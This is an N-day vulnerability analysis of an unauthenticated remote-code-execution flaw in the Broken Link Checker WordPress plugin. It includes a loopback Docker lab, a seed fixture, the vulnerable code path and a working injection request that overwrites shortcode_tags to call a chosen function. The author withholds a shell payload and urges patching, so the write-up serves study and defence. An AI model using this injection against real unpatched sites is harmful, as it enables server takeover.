Research/CVE-2026-18937
N-dayCVE-2026-18937CriticalPublic

CVE-2026-18937: Broken Link Checker, unauthenticated RCE

Broken Link Checker 2.4.11 merges every GET key into $wp->query_vars on plain permalinks. WP::register_globals copies those keys into $GLOBALS. Overwrite $shortcode_tags, render a shortcode, call_user_func. Classic theme. Unauthenticated.

Name
CVE-2026-18937: Broken Link Checker, unauthenticated RCE
Type
N-day analysis
CVE
CVE-2026-18937
CVE Risk
critical
Disclosure Status
public
Vendor
WPMU DEV
Affected
Broken Link Checker (broken-link-checker), versions before 2.4.12; patched in 2.4.12
Published
19 Sept 2026
Updated
19 Sept 2026
Tags
n-day, wordpress, rce, cwe-94, unauthenticated, query-vars

Query vars become globals

I am @abraxas_null. The proof of concept is on GitHub: abraxas/CVE-2026-18937 (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, docker-compose.override.yml. Authorized lab only. It talks to loopback.

CVE-2026-18937 (NVD, GHSA-c2xc-88v3-37g2, WPScan) is unauthenticated RCE in Broken Link Checker before 2.4.12, slug broken-link-checker. Finder: Jakub Herman. CWE-94. 9.0 Critical (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H). Patched in 2.4.12.

The advisory names query-variable injection on plain permalinks. That is Webhook::parse_request merging $_GET into $wp->query_vars. HTTP is GET / with extra query keys. Not admin-ajax.php. If you POST action=parse_request you get the theme back and nothing happens.

WP::register_globals then copies those query vars into $GLOBALS. shortcode_tags[blcpoc]=poc_witness_18937 becomes $GLOBALS['shortcode_tags']['blcpoc']. the_content of [blcpoc] is call_user_func. Unauthenticated. Needs empty permalink_structure (WordPress default on a single-site install) and a classic theme that actually runs that shortcode.

This is the map I used to get from a homepage 200 to a function that actually ran. Isolated lab, loopback only. I am not publishing a gadget chain or a shell. Instantiation of a lab canary is the witness. The stack is in the CVE repo so you can run it at home. The client is the repo above.

The lab (run this at home)

Source of truth is lab/ on GitHub. The Dockerfile pins wordpress:6.4-php8.2-apache. Compose adds mysql:8.0 and wordpress:cli. Port on loopback only. Bind 2.4.11 of the plugin next to compose as ./broken-link-checker (SVN tag).

Dockerfile
# Loopback lab image pin for CVE-2026-18937. Full stack: docker-compose.yml
FROM wordpress:6.4-php8.2-apache
YAML
# CVE-2026-18937 local WordPress lab. Loopback only.
services:
  db:
    image: mysql:8.0
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress
      MYSQL_ROOT_PASSWORD: root
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot"]
      interval: 5s
      timeout: 5s
      retries: 30
      start_period: 15s

  wordpress:
    image: wordpress:6.4-php8.2-apache
    ports:
      - "127.0.0.1:8088:80"
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
      WORDPRESS_DEBUG: "1"
      WORDPRESS_CONFIG_EXTRA: |
        define('WP_DEBUG_LOG', '/var/log/lab/debug.log');
        define('WP_DEBUG_DISPLAY', false);
    volumes:
      - wp_data:/var/www/html
      - ./broken-link-checker:/var/www/html/wp-content/plugins/broken-link-checker:ro
    depends_on:
      db:
        condition: service_healthy

  wpcli:
    image: wordpress:cli
    user: "33:33"
    volumes:
      - wp_data:/var/www/html
      - ./broken-link-checker:/var/www/html/wp-content/plugins/broken-link-checker:ro
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
    depends_on:
      wordpress:
        condition: service_started
    entrypoint: ["sleep", "infinity"]

volumes:
  wp_data:

docker-compose.override.yml only routes logs.

YAML
# App processes should log to stdout and/or /var/log/lab.
services:
  db:
    logging:
      driver: json-file
      options:
        max-size: "20m"
        max-file: "5"
    volumes:
      - ./logs/db:/var/log/lab
      - ./logs/db-mysql:/var/log/mysql
  wordpress:
    logging:
      driver: json-file
      options:
        max-size: "20m"
        max-file: "5"
    volumes:
      - ./logs/wordpress:/var/log/lab
      - ./logs/wordpress-apache:/var/log/apache2

The CVE needs empty permalinks, a classic theme, a front page that contains [blcpoc], and a canary function so call_user_func has something to run that is not a gadget.

PHP
<?php
/**
 * Lab fixture for Broken Link Checker 2.4.11 (CVE-2026-18937).
 * Plain permalinks, classic theme, canary callback.
 */
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

update_option( 'permalink_structure', '' );
flush_rewrite_rules( false );
switch_theme( 'twentytwentyone' );

$mu_dir = WP_CONTENT_DIR . '/mu-plugins';
if ( ! is_dir( $mu_dir ) ) {
	wp_mkdir_p( $mu_dir );
}
file_put_contents(
	$mu_dir . '/blc-lab-witness.php',
	<<<'PHP'
<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! function_exists( 'poc_witness_18937' ) ) {
	function poc_witness_18937() {
		echo 'POCWitness18937';
	}
}
PHP
);

$page_id = wp_insert_post(
	array(
		'post_type'    => 'page',
		'post_status'  => 'publish',
		'post_title'   => 'blc lab',
		'post_name'    => 'blc-lab',
		'post_content' => '[blcpoc]',
	),
	true
);
update_option( 'show_on_front', 'page' );
update_option( 'page_on_front', (int) $page_id );

Bring-up from the CVE repo lab/:

Plain text
git clone https://github.com/abraxas/CVE-2026-18937
cd CVE-2026-18937/lab
svn export https://plugins.svn.wordpress.org/broken-link-checker/tags/2.4.11 broken-link-checker
docker compose up -d --force-recreate
docker compose exec -T wpcli wp core install \
  --url=http://127.0.0.1:8088 \
  --title='CVE-2026-18937 Lab' \
  --admin_user=admin \
  --admin_password=labadmin \
  --admin_email=lab@localhost.invalid \
  --skip-email
docker compose exec -T wpcli wp plugin activate broken-link-checker
docker compose exec -T wpcli wp theme install twentytwentyone --activate
docker compose cp seed.php wpcli:/tmp/seed.php
docker compose exec -T wpcli wp eval-file /tmp/seed.php
python3 ../CVE-2026-18937-Abraxas-Labs.py

The seed is the fixture above; it is not in lab/ on GitHub. Do not publish the port off loopback. The proof of concept is written for 127.0.0.1:8088.

What the tree actually registers

Webhook hooks parse_request. On plain permalinks it does this:

PHP
public function parse_request( $wp ) {
    if ( Utilities::plain_permalinks_mode() ) {
        $wp->query_vars = wp_parse_args( $this->sanitize_array( $_GET ), $wp->query_vars );
    }
    if ( array_key_exists( $this->webhook_tag, $wp->query_vars ) ) {
        $this->webhook_action( $wp );

sanitize_array is not an allowlist of query vars. It sanitizes values. The keys come through. WordPress then register_globals: each query var becomes a PHP global of the same name. shortcode_tags is a global WordPress already uses for do_shortcode. Overwriting it is RCE if anything on that request expands a shortcode whose tag you just pointed at a function you chose.

Pretty permalinks skip the merge. A block theme that never calls the_content on [blcpoc] never calls your function. wp_get_sidebars_widgets() reloads from options on the front, so stuffing a widget via query vars is a dead end. The lab puts the shortcode in the front page body instead.

2.4.12 removes the $_GET merge. That is the patch. Update.

The 200 that was a homepage without the string

The first client I pointed at this was polite. It used pretty permalinks, or Twenty Twenty-Four, or admin-ajax.php. Function names in the advisory are PHP methods. You get a 200. You get a theme. You get no POCWitness18937.

A few other ways to lose without learning anything:

  • Pretty permalinks. plain_permalinks_mode() is false. Merge skipped.
  • Block theme, no [blcpoc] in content. Globals changed, nothing called them.
  • /?shortcode_tags[blcpoc]=system. Even if that lands, the_content will not pass id as an argument. The lab canary takes no args and echoes a unique string. I am not printing a system recipe.
  • Widget query-var tricks. Sidebar state is reloaded from options.
  • A reverse shell. Theatre. The witness is the canary string in the HTML.

The tell is still a WordPress homepage, tens of kilobytes. The witness is the unique string inside it. Do not wait for tiny JSON. This is the_content, not admin-ajax.

What I actually did

Treat the on-disk product as the spec. WPScan named query-var injection. I read parse_request, then register_globals, then put [blcpoc] on the front page. Proof of concept: CVE-2026-18937-Abraxas-Labs.py.

Discover the front page id, then GET. Home HTML has id="post-N". Then /?page_id=N&shortcode_tags[blcpoc]=poc_witness_18937.

Witness in the body. POCWitness18937 from the canary. If that string is present, call_user_func ran an attacker-named function during the_content. A real callback in the PHP environment is how you turn that into RCE. I am not shipping one.

Last lab run, trimmed:

Plain text
home status=200
page_id=4
status=200
POCWitness18937
SUCCESS CVE-2026-18937

The page is still a theme. The function still ran. That is the whole argument. The client that produced it is on GitHub.

What this is not

It is not "WordPress register_globals is back." Core still copies query vars into globals. The plugin is what lets arbitrary GET keys into query_vars on the default permalink mode. Pretty permalinks, or 2.4.12, close that door.

Update to 2.4.12 or newer. Re-run the loopback client against the patched build: the witness must not appear. A WAF signature is delay. Switching off plain permalinks is delay.

I am not going to print a query string that names system. The merge and register_globals are the useful part. If you own the box, run the proof of concept against loopback.

Client bugs look like product bugs. A helper that shadows http.client never sends a packet. .recv() on an HTTPResponse is not .read(). I mention that once because it cost time and looked, for a minute, like the plugin was fine.

References